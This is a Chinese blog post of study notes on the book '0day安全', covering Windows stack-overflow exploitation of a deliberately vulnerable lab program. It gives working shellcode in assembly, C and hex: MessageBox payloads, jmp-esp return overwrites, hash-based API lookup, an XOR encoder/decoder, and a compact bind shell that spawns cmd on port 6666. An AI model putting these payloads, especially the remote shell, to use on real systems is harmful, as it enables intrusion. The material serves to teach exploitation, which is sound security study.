0day安全实操记录(1)
主要参考了 https://wohin.me/ 师傅的 blog
-
Chapter2 stack overflow
顺着执行流跟到判断部分
strcpy 那一句没什么必要但存在明显栈溢出,相当于留下后门了。
strcmp:
若参数s1 和s2 字符串相同则返回0,s1 若大于s2 则返回 1,s1 若小于s2 则返回 -1 (0xFFFFFFFF)。
这里直接尝试执行代码,首先修改一下源码,增加 buf 的容量并引入 user32.dll(通过 MessageBox 函数弹窗)
#include <stdio.h> #include <windows.h> #define PASSWORD "1234567" int verify_password (char *password) { int authenticated; char buffer[44]; authenticated=strcmp(password,PASSWORD); strcpy(buffer,password);//over flowed here! return authenticated; } main() { int valid_flag=0; char password[1024]; FILE * fp; LoadLibrary("user32.dll");//prepare for messagebox if(!(fp=fopen("password.txt","rw+"))) { exit(0); } fscanf(fp,"%s",password); valid_flag = verify_password(password); if(valid_flag) { printf("incorrect password!\n"); } else { printf("Congratulation! You have passed the verification!\n"); } fclose(fp); }
然后就是常规的栈溢出思路,不过这里要找一下 MessageBox 的地址
然后编写 shellcode
xor ebx, ebx push ebx ; null push 626F6A2D push 646F6F67 ; good-job mov eax, esp push ebx ; uType ; Message 的 4 个参数(倒序) push eax ; lpCaption push eax ; lpText push ebx ; hWnd mov eax, 0x77D507EA ; MessageBox 地址 call eax
转成二进制
33 DB 53 68 2D 6A 6F 62 68 67 6F 6F 64 8B C4 53 50 50 53 B8 EA 07 D5 77 FF D0
剩余空间用 nop(90)填充,生成最后的 shellcode
33 DB 53 68 2D 6A 6F 62 68 67 6F 6F 64 8B C4 53 50 50 53 B8 EA 07 D5 77 FF D0 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 F0 FA 12 00
-
Chapter3 shellcode
上一个实验中的是先写入 shellcode ,然后通过覆盖 ret 直接跳转,但由于动态链接库的装载和卸载,Windows 进程的函数栈帧可能发生移位,也就是说 shellcode 在内存中的地址是动态变化的。
所以 shellcode 写入的位置应该是一个可查的,无论是相对还是绝对,但需要有一条或多条指令可以跳转到这个位置,这里是把 shellcode 的起点写到了 esp 指向的地址,esp 指向的地址刚好在 ret 上面,也就是退栈之后调用函数的栈的范围,同时又能找一条 jmp esp 的指令跳转过去,可行!
两种调用的不同:
首先要从 user32.dll 中找到 jmp esp 的地址,可以写个简单的程序找一下。
#include <windows.h> #include <stdio.h> #define DLL_NAME "user32.dll" int main() { BYTE* ptr; int position, address; HINSTANCE handle; BOOL done_flag = FALSE; handle = LoadLibrary(DLL_NAME); if (!handle) { printf(" load dll erro !"); exit(0); } ptr = (BYTE*)handle; for (position = 0; !done_flag; position++) { try { if (ptr[position] == 0xFF && ptr[position + 1] == 0xE4) { //0xFFE4 is the opcode of jmp esp int address = (int)ptr + position; printf("OPCODE found at 0x%x\n", address); } } catch (...) { int address = (int)ptr + position; printf("END OF 0x%x\n", address); done_flag = true; } } }
随便选一个就好,然后找一下 ExitProcess 的地址,保证程序正常退出。
接着就是想办法拿到对应的机器码,这里的做法是把 shellcode 内联汇编并编译,然后再在 OllyDbg 中复制出来。
#include <windows.h> int main() { HINSTANCE LibHandle; char dllbuf[11] = "user32.dll"; LibHandle = LoadLibrary(dllbuf); _asm{ sub sp, 0x440 xor ebx, ebx push ebx push 0x626F6A2D push 0x646F6F67 mov eax, esp push ebx ; uType push eax ; lpCaption push eax ; lpText push ebx ; hWnd mov eax, 0x77D507EA call eax push ebx mov eax, 0x7C81CAFA call eax } return 0; }
其中 sub sp, 0x440 是为了通过抬高栈顶保护 shellcode
在 od 中选中 shellcode 代码并复制,在前面补充上 nop 和 jmp esp 的地址
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 5B 96 DC 77 33 DB 53 68 2D 6A 6F 62 68 67 6F 6F 64 8B C4 53 50 50 53 B8 EA 07 D5 77 FF D0 53 B8 FA CA 81 7C FF D0 90 90 90 90 90 90
但再仔细想想,其实这种布置也存在很大的弊端
- 占用空间大
- 调用函数的栈帧可能会被破坏
优化后的模型:
和第二种方式相比,移动到了 esp 下方的地址,充分利用之前栈帧,同时又能准确定位,最后的代码:
#include <windows.h> int main() { HINSTANCE LibHandle; char dllbuf[11] = "user32.dll"; LibHandle = LoadLibrary(dllbuf); _asm{ nop nop nop sub sp, 0x440 xor ebx, ebx push ebx push 0x626F6A2D push 0x646F6F67 mov eax, esp push ebx ; uType push eax ; lpCaption push eax ; lpText push ebx ; hWnd mov eax, 0x77D507EA call eax push ebx mov eax, 0x7C81CAFA call eax nop nop nop } return 0; }
最后的 exp:
90 90 90 66 81 EC 40 04 33 DB 53 68 2D 6A 6F 62 68 67 6F 6F 64 8B C4 53 50 50 53 B8 EA 07 D5 77 FF D0 53 B8 FA CA 81 7C FF D0 90 90 90 90 90 90 90 90 90 90 5B 96 DC 77 8B C4 83 E8 38 FF E0 90
从开始到 90 90 90 部分是 shellcode,5B 96 DC 77 是覆盖 ret 的部分(jmp esp),之后就是 jmp esp-X,具体实现为:
mov eax, esp sub eax, 0x38 jmp eax
这里除了 jmp 指令,还有很多跳转指令可以选,在遇到无法精准定位的时候,可以利用填充足够多的 nop 滑到 shellcode 的开始地址。
-
chapter3 通用 shellcode
对于不同操作系统,不同补丁环境下精准定位函数地址。
通用测试方法:shellcode 放到字符串中并当作指令执行。
char shellcode[] = "..."; int main() { _asm{ lea eax, shellcode push eax ret } return 0; }
在 win32 中,ntdll.dll 和 kernel32.dll 是所有程序都会加载的。
定位 kernel32.dll 中 API 的方法:
在 Name Table 中查找所需函数并获取其 index,用此 index 去 RVA Table 中获得 RVA,最后 RVA + base 就是函数绝对地址。
同样的查找方式在其他库中也是类似的。
通过 Hash搜索函数
在内存中用字符串匹配是一件非常愚蠢的事(目前这么觉得),所以我们可以先对函数名做简单的 hash 计算,然后在 shellcode 中通过 hash 查找函数。(很像 fastjson 的黑名单过滤,过滤的是类的 hash 而不是类名)。
#include <windows.h> #include <stdio.h> DWORD GetHash(char *func_name) { DWORD digest = 0; while(*func_name) { digest = ((digest << 25) | (digest >> 7)); digest += *func_name; func_name++; } return digest; } int main() { DWORD hash; char func_name[20] = {0}; printf("Function to be hashed: "); scanf("%19s", func_name); hash = GetHash(func_name); printf("Result of hash is %.8x\n", hash); return 0; }
有了 hash,可以动手写 shellcode 了
首先将增量标志清零,防止字符串处理方向发生变化。
nop nop nop CLD ; clear flag DF,(DF: 方向标志位。在串处理指令中,控制每次操作后si 、di 的增减。)
把 hash 的值压入栈中:
; store hash push 0x1e380a6a ; MessageBoxA push 0x4fd18963 ; ExitProcess push 0x0c917432 ; LoadLibraryA mov esi, esp ; esi = addr of first function's hash lea edi, [esi - 0xc] ; edi = addr to start writing function
抬高栈顶,保护 shellcode
; get some stack space xor ebx, ebx mov gh, 0x04 sub esp, ebx
然后把 user32.dll 压入栈,方便将来 LoadLibrary
; push a pointer to "user32" to stack mov bx, 0x3233 ; rest of ebx is null(bx is "32") push ebx push 0x72657375 ; "user" push esp ; the pointer xor edx, edx
然后获取 kernel32.dll 的基址(base),原理就是前面那张图
; find base addr of kernel32.dll mov ebx, fs:[edx + 0x30] ; ebx = address of PEB mov ecx, [ebx + 0x0c] ; ecx = pointer to loader data mov ecx, [ecx + 0x1c] ; ecx = pointer first entry in initialization order list mov ecx, [ecx] ; ecx = second entry in list (kernel32.dll) mov ebp, [ecx + 0x08] ; ebp = base address of kernel32.dll
确定了 base 就继续定位库函数,每成功定位一次,就把函数地址写入之前保存它的名称的 hash 的地方,方便后续调用。
find_lib_functions: lodsd ; load next hash into al and increment esi cmp eax, 0x1e380a6a ; hash of MessageBoxA - trigger ; LoadLibrary("user32.dll") jne find_functions xchg eax, ebp ; save current hash call [edi - 0x8] ; LoadLibraryA xchg eax, ebp ; restore current hash, and update ebp with base address of user32.dll
具体定位过程:
find_functions: pushad ; preserve registers mov eax, [ebp + 0x3c] ; start of PE header mov ecx, [ebp + eax + 0x78] ; ecx = relative offset of export table add ecx, ebp ; ecx = absolute addr of export table mov ebx, [ecx + 0x20] ; ebx = relative offset of names table add ebx, ebp ; ebx = absolute addr of names table xor edi, edi ; edi will count through the functions next_function_loop: inc edi ; increment function counter mov esi, [ebx + edi * 4] ; esi = relative offset of current function name add esi, ebp ; esi = absolute addr of current function name cdq ; dl will hold hash (We know eax is small) hash_loop: movsx eax, byte ptr[esi] cmp al, ah jz compare_hash ror edx, 7 add edx, eax inc esi jmp hash_loop compare_hash: cmp edx, [esp + 0x1c] ; compare ti the requested hash (before we 'pushad' it is in eax) jnz next_function_loop
然后就是名称表的定位,首先看一下 PE 文件的导出表:
typedef struct _IMAGE_EXPORT_DIRECTORY { uint32_t Characteristics; uint32_t TimeDateStamp; uint16_t MajorVersion; uint16_t MinorVersion; uint32_t Name; // PE 文件的模块名 uint32_t Base; uint32_t NumberOfFunctions; // 总导出函数的个数 uint32_t NumberOfNames; // 有名称的函数的个数,因为有的导出函数没有名字,只有序号 uint32_t AddressOfFunctions; // RVA from base of image 这三个就是所谓的EAT,导出地址表 uint32_t AddressOfNames; // RVA from base of image Nt头基址加上这个偏移得到的数组中存放所有的名称字符串 uint32_t AddressOfNameOrdinals; // RVA from base of image Nt头基址加上这个偏移得到的数组中存放所有的函数序号,并不一定是连续的,但一般和导出地址表是一一对应的 } IMAGE_EXPORT_DIRECTORY, *PIMAGE_EXPORT_DIRECTORY;
定位序号的过程:
mov ebx, [ecx + 0x24] ; ebx = relative offset of ordinals table add ebx, ebp ; ebx = absolute addr of ordinals table mov di, [ebx + 2 * edi] ; di = ordinal number of matched function mov ebx, [ecx + 0x1c] ; ebx = relative offset of address table add ebx, ebp ; ebx = absolute addr of address table add ebp, [ebx + 4 * edi] ; add to ebp (base of module) the relative offset of matched function xchg eax, ebp ; move func addr into eax pop edi ; edi is last onto stack in pushad stosd ; write function addr to [edi] and increment edi push edi popad ; restore registers ; loop until we reach end of last hash cmp eax, 0x1e380a6a jne find_lib_functions
找到之后就可以调用了
function_call: xor ebx, ebx push ebx push ebx push 0x626F6A2D push 0x646F6F67 mov eax, esp push ebx ; uType push eax ; lpCaption push eax ; lpText push ebx ; hWnd call [edi - 0x04] push ebx call [edi - 0x08] nop nop nop nop
最后生成的 shellcode :
char shellcode[] = "\xfc\x68\x6a\x0a\x38\x1e\x68\x63\x89\xd1\x4f\x68\x32\x74\x91\x0c" "\x8b\xf4\x8d\x7e\xf4\x33\xdb\xb7\x04\x2b\xe3\x66\xbb\x33\x32\x53" "\x68\x75\x73\x65\x72\x54\x33\xd2\x64\x8b\x5a\x30\x8b\x4b\x0c\x8b" "\x49\x1c\x8b\x09\x8b\x69\x08\xad\x3d\x6a\x0a\x38\x1e\x75\x05\x95" "\xff\x57\xf8\x95\x60\x8b\x45\x3c\x8b\x4c\x05\x78\x03\xcd\x8b\x59" "\x20\x03\xdd\x33\xff\x47\x8b\x34\xbb\x03\xf5\x99\x0f\xbe\x06\x3a" "\xc4\x74\x08\xc1\xca\x07\x03\xd0\x46\xeb\xf1\x3b\x54\x24\x1c\x75" "\xe4\x8b\x59\x24\x03\xdd\x66\x8b\x3c\x7b\x8b\x59\x1c\x03\xdd\x03" "\x2c\xbb\x95\x5f\xab\x57\x61\x3d\x6a\x0a\x38\x1e\x75\xa9\x33\xdb" "\x53\x68\x2d\x6a\x6f\x62\x68\x67\x6f\x6f\x64\x8b\xc4\x53\x50\x50" "\x53\xff\x57\xfc\x53\xff\x57\xf8"; int main(){ _asm{ lea eax, shellcode push eax ret } return 0; }
-
chapter3 shellcode 编码技术
当输入部分有限制的时候,需要构造特定的 shellcode,比如之前某 ctf 题目中要求 shellcode 必须是可见字符。
可以通过简单的异或操作进行编码,把解码器和 shellcode 一同传入,注意这里的限制条件:
- 用于异或的key必须是shellcode中没有出现过的字节,不然异或生成0x00 会发生截断
- 开始和中间不能有 0x90,它将作为 shellcode 结束的标志
看一下编码器(异或 0x44):
#include "stdio.h" char popup_general[]= "shellcode";//shellcode should be ended with 0x90 void encoder (char* input, unsigned char key, int display_flag)// bool display_flag { int i=0,len=0; FILE * fp; unsigned char * output; len = strlen(input); output=(unsigned char *)malloc(len+1); if(!output) { printf("memory erro!\n"); exit(0); } //encode the shellcode for(i=0;i<len;i++) { output[i] = input[i]^key; } if(!(fp=fopen("encode.txt","w+"))) { printf("output file create erro"); exit(0); } fprintf(fp,"\""); for(i=0;i<len;i++) { fprintf(fp,"\\x%0.2x", output[i]); if((i+1)%16==0) { fprintf(fp,"\"\n\""); } } fprintf(fp,"\";"); fclose(fp); printf("dump the encoded shellcode to encode.txt OK!\n"); if(display_flag)//print to screen { for(i=0;i<len;i++) { printf("%0.2x ",output[i]); if((i+1)%16==0) { printf("\n"); } } } free(output); } void main() { encoder(popup_general,0x44,1); getchar(); }
可以看出就是简单的异或操作,加了一些输出格式的修改
解码器:
add eax, 0x14 xor ecx, ecx decode_loop: mov bl, [eax + ecx] xor bl, 0x44 mov [eax + ecx], bl inc ecx cmp bl, 0x90 jne decode_loop
为了确定具体要解码的范围,把 0x90 作为结束符
最终的编码后 shellcode :
char shellcode[] = "\x83\xc0\x14\x33\xc9\x8a\x1c\x08\x80\xf3\x44\x88\x1c\x08\x41\x80\xfb\x90\x75\xf1" "\xd4\xd4\xd4\xb8\x2c\x2e\x4e\x7c\x5a\x2c\x27\xcd\x95\x0b\x2c\x76" "\x30\xd5\x48\xcf\xb0\xc9\x3a\xb0\x77\x9f\xf3\x40\x6f\xa7\x22\xff" "\x77\x76\x17\x2c\x31\x37\x21\x36\x10\x77\x96\x20\xcf\x1e\x74\xcf" "\x0f\x48\xcf\x0d\x58\xcf\x4d\xcf\x2d\x4c\xe9\x79\x2e\x4e\x7c\x5a" "\x31\x41\xd1\xbb\x13\xbc\xd1\x24\xcf\x01\x78\xcf\x08\x41\x3c\x47" "\x89\xcf\x1d\x64\x47\x99\x77\xbb\x03\xcf\x70\xff\x47\xb1\xdd\x4b" "\xfa\x42\x7e\x80\x30\x4c\x85\x8e\x43\x47\x94\x02\xaf\xb5\x7f\x10" "\x60\x58\x31\xa0\xcf\x1d\x60\x47\x99\x22\xcf\x78\x3f\xcf\x1d\x58" "\x47\x99\x47\x68\xff\xd1\x1b\xef\x13\x25\x79\x2e\x4e\x7c\x5a\x31" "\xed\x77\x9f\x17\x17\x2c\x69\x2e\x2b\x26\x2c\x23\x2b\x2b\x20\xcf" "\x80\x17\x14\x14\x17\xbb\x13\xb8\x17\xbb\x13\xbc\xd4\xd4\xd4\xd4"; int main(){ _asm{ lea eax, shellcode push eax ret } return 0; }
-
chapter 3 shellcode 缩小技术
恶意的东西越小可能出现的意外就越少,在 x86 指令集中,很多功能相似的指令在机器码长度上有很大的差距,这就有了优化的空间(像 arm 这种精简指令集这种方法就不适应)
指令 含义 xarg eax, reg 交换eax和其他寄存器的值 lodsd mov eax, [esi]; esi += 4 lodsb mov al, [esi]; esi += 1 stosd mov [edi], eax; edi += 4 stosb mov [edi], eax; edi += 1 pushad 将EAX,ECX,EDX,EBX,ESP,EBP,ESI,EDI压栈 popad 将EAX,ECX,EDX,EBX,ESP,EBP,ESI,EDI反向弹出 本次实验目标是实现一个 bind_shell,也就是正向链接的 shell,需要绑定 shell 到指定端口,并允许外部网路连接这个 shell。
需要导出的函数:
# in kernel32.dll LoadLibraryA # 装载ws2_32.dll CreateProcessA # 为客户端创建shell命令窗口 ExitProcess # 退出程序 # in ws2_32.dll WSAStartup # 初始化winsock WSASocketA # 创建套接字 bind # 绑定套接字到本地端口 listen # 监听外部连接 accept # 处理一个外部连接
关于 hash 算法的重新选择:
- 不能有 hash 碰撞(如果存在,但我们需要的函数就是所有碰撞函数中的第一个,那就是可行的)
- hash 尽可能短(kernel32.dll 中有超过 900 个,而长度为 8bit 的单字节能表示 256 种可能)
- 算法的代码实现尽可能短
- hash 过后的摘要可以当指令用,即机器码相同(非必要)
最终作者总结的 hash 算法:
hash_loop: lodsb xor al, 0x71 sub dl, al cmp al, 0x71 jne hash_loop
经过处理后的函数名 hash:
Name Hash Instruction LoadLibraryA 0x59 pop ecx CreateProcessA 0x81 - ExitProcess 0xc9 - WSAStartup 0xd3 - WSASocketA 0x62 - bind 0x30 - listen 0x20 从0x81到0x20相当于 or ecx, 0x203062d3 accept 0x41 inc ecx 首先放入 hash 和 字符串
; start of shellcode ; assume: eax points here ; function hashes (executable as nop-equivalent) _emit 0x59 ; LoadLibraryA ; pop ecx _emit 0x81 ; CreateProcessA ; or ecx, 0x203062d3 _emit 0xc9 ; ExitProcess _emit 0xd3 ; WSAStartup _emit 0x62 ; WSASocketA _emit 0x30 ; bind _emit 0x20 ; listen _emit 0x41 ; accept ; inc ecx ; "CMd" _emit 0x43 ; inc ebx _emit 0x4d ; dec ebp _emit 0x64 ; FS:
经过布置后的内存结构
然后把 esi 和 edi 分别指向 hash 函数和未来函数地址被写入的开始位置:
; start of proper code cdq ; set edx = 0 (eax points to stack so is less than 0x80000000) ; cdq:把 EAX 的第 31 bit 复制到 EDX 的每一个 bit 上 xchg eax, esi ; esi = addr of first function hash ; xchg: exchange lea edi, [esi - 0x18] ; edi = addr to start writing function address (last addr will be written just before "cmd")
接着定位库和 API, 和之前操作相似不过要切换到 ws2_32。
; find base addr of kernel32.dll mov ebx, fs:[edx + 0x30] ; ebx = address of PEB mov ecx, [ebx + 0x0c] ; ecx = pointer to loader data mov ecx, [ecx + 0x1c] ; ecx = first entry in initialisation order list mov ecx, [ecx] ; ecx = second entry in list (kernel32.dll) mov ebp, [ecx + 0x08] ; ebp = base address of kernel32.dll ; make some stack space mov dh, 0x03 ; sizeof(WSADATA) is 0x190 sub esp, edx ; push a pointer to "ws2_32" onto stack mov dx, 0x3233 ; rest of edx is null push edx push 0x5f327377 push esp find_lib_functions: lodsb ; load next hash into al and increment esi cmp al, 0xd3 ; hash of WSAStartup - trigger ; LoadLibrary("ws2_32") jne find_functions xchg eax, ebp ; save current hash call [edi - 0xc] ; LoadLibraryA xchg eax, ebp ; restore current hash, and update ebp ; with base address of ws2_32.dll push edi ; save location of addr of first winsock function find_functions: pushad ; preserve registers mov eax, [ebp + 0x3c] ; eax = start of PE header mov ecx, [ebp + eax + 0x78] ; ecx = relative offset of export table add ecx, ebp ; ecx = absolute addr of export table mov ebx, [ecx + 0x20] ; ebx = relative offset of names table add ebx, ebp ; ebx = absolute addr of names table xor edi, edi ; edi will count through the functions next_function_loop: inc edi ; increment function counter mov esi, [ebx + edi * 4] ; esi = relative offset of current function name add esi, ebp ; esi = absolute addr of current function name cdq ; dl will hold hash (we know eax is small) hash_loop: lodsb ; load next char into al and increment esi xor al, 0x71 ; XOR current char with 0x71 sub dl, al ; update hash with current char cmp al, 0x71 ; loop until we reach end of string jne hash_loop cmp dl, [esp + 0x1c] ; compare to the needed hash (saved on stack by pushad) jnz next_function_loop
定位成功后确定地址
mov ebx, [ecx + 0x24] ; ebx = relative offset of ordinals table add ebx, ebp ; ebx = absolute addr of ordinals table mov di, [ebx + 2 * edi] ; di = ordinal number of matched function mov ebx, [ecx + 0x1c] ; ebx = relative offset of address table add ebx, ebp ; ebx = absolute addr of address table add ebp, [ebx + 4 * edi]; add to ebp (base addr of module) the ; relative offset of matched function
把地址写入到 shellcode 开头的空间,并完成循环
xchg eax, ebp ; move func addr into eax pop edi ; edi is last onto stack in pushad stosd ; write function addr to [edi] and increment edi push edi popad ; restore registers cmp esi, edi ; loop until we reach end of last hash jne find_lib_function pop esi ; saved location of first winsock function ; we will lodsd and call each func in sequence
到现在已经做好了 API 的准备了,接下来开始设置端口以及 socket 连接,用 lodsd / call eax 依次调用:
首先要调用 WInsock,需要用 WSAStartup 初始化,直接指向之前抬高栈顶开辟的那块空间就行:
int WSAStartup( _In_ WORD wVersionRequested, _Out_ LPWSADATA lpWSAData );
; initialize winsock push esp ; use stack for WSADATA push 0x2 ; wVersionRequested lodsd ; mov eax,[esi],esi=esi+4; call eax ; WSAStartup
若成功则返回 0,结束后 eax 的值为 0,这里添加一些辅助函数:
; null-terminate "cmd" mov byte ptr [esi + 0x13], al ; eax = 0 if WSAStartup() worked mov
调用的许多函数时都不需要参数(传入 NULL),这里清空一下栈,减少压入 NULL 的操作
; clear some stack to use as NULL parameters lea ecx, [eax + 0x30] ; sizeof(STARTUPINFO) = 0x44 ; 循环次数 mov edi, esp ; 循环操作起始地址 rep stosd ; eax is still 0 ; 开始循环
然后调用 WSASocket 函数,除了前两个参数其他都是 NULL
SOCKET WSASocket( _In_ int af, _In_ int type, _In_ int protocol, _In_ LPWSAPROTOCOL_INFO lpProtocolInfo, _In_ GROUP g, _In_ DWORD dwFlags );
; create socket inc eax push eax ; type = 1 (SOCK_STREAM) inc eax push eax ; af = 2 (AF_INET) lodsd call eax ; WSASocketA xchg ebp, eax ; save SOCKET descriptor in ebp (safe from being changed by remaining API calls)
然后是网络编程中需要的 bind() / listen() / accept() 函数
int bind( _In_ SOCKET s, _In_ const struct sockaddr *name, _In_ int namelen ); struct sockaddr_in { short sin_family; u_short sin_port; struct in_addr sin_addr; char sin_zero[8]; };
需要关注的就是 sockaddr_in 的前两个变量:指定 AF_INET 和 6666,其他的都是 NULL 不用管。
; push bind parameters mov eax, 0x0a1aff02 ; 0x1a0a = port 6666,0x2 = AF_INET ; 如果有 00 会发生截断 xor ah, ah ; remove the ff from eax push eax ; we use 0x0a1a0002 as both the name (struct ; sockaddr) and namelen (which only needs to ; be large enough) push esp ; pointer to our sockaddr struct
然后是 listen 和 accept
int listen( _In_ SOCKET s, _In_ int backlog ); SOCKET accept( _In_ SOCKET s, _Out_ struct sockaddr *addr, _Inout_ int *addrlen );
注意 accept 返回的是 socket,而 bind 和 listen 成功后返回 0,
这里讲 accept,bind 和 listen 都放在一个循环体中(以返回是不是 0 作为中止条件,要把 accept 防止最下面),防止占用过多的 shellcode 空间
; call bind(), listen() and accept() in turn call_loop: push ebp ; saved SOCKET descriptor (we implicitly pass ; NULL for all other params) lodsd call eax ; call the next function test eax, eax ; bind() and listen() return 0, accept() ; returns a SOCKET descriptor jz call_loop
最后调用 CreateProcess 执行
BOOL WINAPI CreateProcess( _In_opt_ LPCTSTR lpApplicationName, _Inout_opt_ LPTSTR lpCommandLine, _In_opt_ LPSECURITY_ATTRIBUTES lpProcessAttributes, _In_opt_ LPSECURITY_ATTRIBUTES lpThreadAttributes, _In_ BOOL bInheritHandles, _In_ DWORD dwCreationFlags, _In_opt_ LPVOID lpEnvironment, _In_opt_ LPCTSTR lpCurrentDirectory, _In_ LPSTARTUPINFO lpStartupInfo, _Out_ LPPROCESS_INFORMATION lpProcessInformation ); typedef struct _STARTUPINFO { DWORD cb; LPTSTR lpReserved; LPTSTR lpDesktop; LPTSTR lpTitle; DWORD dwX; DWORD dwY; DWORD dwXSize; DWORD dwYSize; DWORD dwXCountChars; DWORD dwYCountChars; DWORD dwFillAttribute; DWORD dwFlags; WORD wShowWindow; WORD cbReserved2; LPBYTE lpReserved2; HANDLE hStdInput; HANDLE hStdOutput; HANDLE hStdError; } STARTUPINFO, *LPSTARTUPINFO;
_STARTUPINFO 结构体指明了 "cmd" 字符串,并把客户端的 socket 作为 std 句柄,其中大部分变量都可以是 NULL,把其中的 STARTF_USESTDHANDLES 标志位设为 true,然后把 accpet 接收到的 socket 传给 hStdInput,hStdOutput,hStdError 。
; initialise a STARTUPINFO structure at esp inc byte ptr [esp + 0x2d] ; set STARTF_USESTDHANDLES to true sub edi, 0x6c ; point edi at hStdInput in STARTUPINFO stosd ; use SOCKET descriptor returned by accept ; (still in eax) as the stdin handle stosd ; same for stdout stosd ; same for stderr (optional) ; eax的内容存储到edi指向的内存单元中,同时edi的值根据方向标志的值增加或者减少
; create process pop eax ; set eax = 0 (STARTUPINFO now at esp + 4) push esp ; use stack as PROCESSINFORMATION structure ; (STARTUPINFO now back to esp) push esp ; STARTUPINFO structure push eax ; lpCurrentDirectory = NULL push eax ; lpEnvironment = NULL push eax ; dwCreationFlags = NULL push esp ; bInheritHandles = true push eax ; lpThreadAttributes = NULL push eax ; lpProcessAttributes = NULL push esi ; lpCommandLine = "cmd" push eax ; lpApplicationName = NULL call [esi - 0x1c] ; CreateProcessA
其中 PROCESSINFORMATION 结构体是一个 out 型参数,只需要提供一个栈空间即可。
; call ExitProcess() call [esi - 0x18] ; ExitProcess
代码起点:eax 指向 shellcode 的开始位置。
-
参考文献
【推荐】编程新体验,更懂你的AI,立即体验豆包MarsCode编程助手
【推荐】凌霞软件回馈社区,博客园 & 1Panel & Halo 联合会员上线
【推荐】抖音旗下AI助手豆包,你的智能百科全书,全免费不限次数
【推荐】博客园社区专享云产品让利特惠,阿里云新客6.5折上折
【推荐】轻量又高性能的 SSH 工具 IShell:AI 加持,快人一步
· 一个费力不讨好的项目,让我损失了近一半的绩效!
· 清华大学推出第四讲使用 DeepSeek + DeepResearch 让科研像聊天一样简单!
· 实操Deepseek接入个人知识库
· CSnakes vs Python.NET:高效嵌入与灵活互通的跨语言方案对比
· Plotly.NET 一个为 .NET 打造的强大开源交互式图表库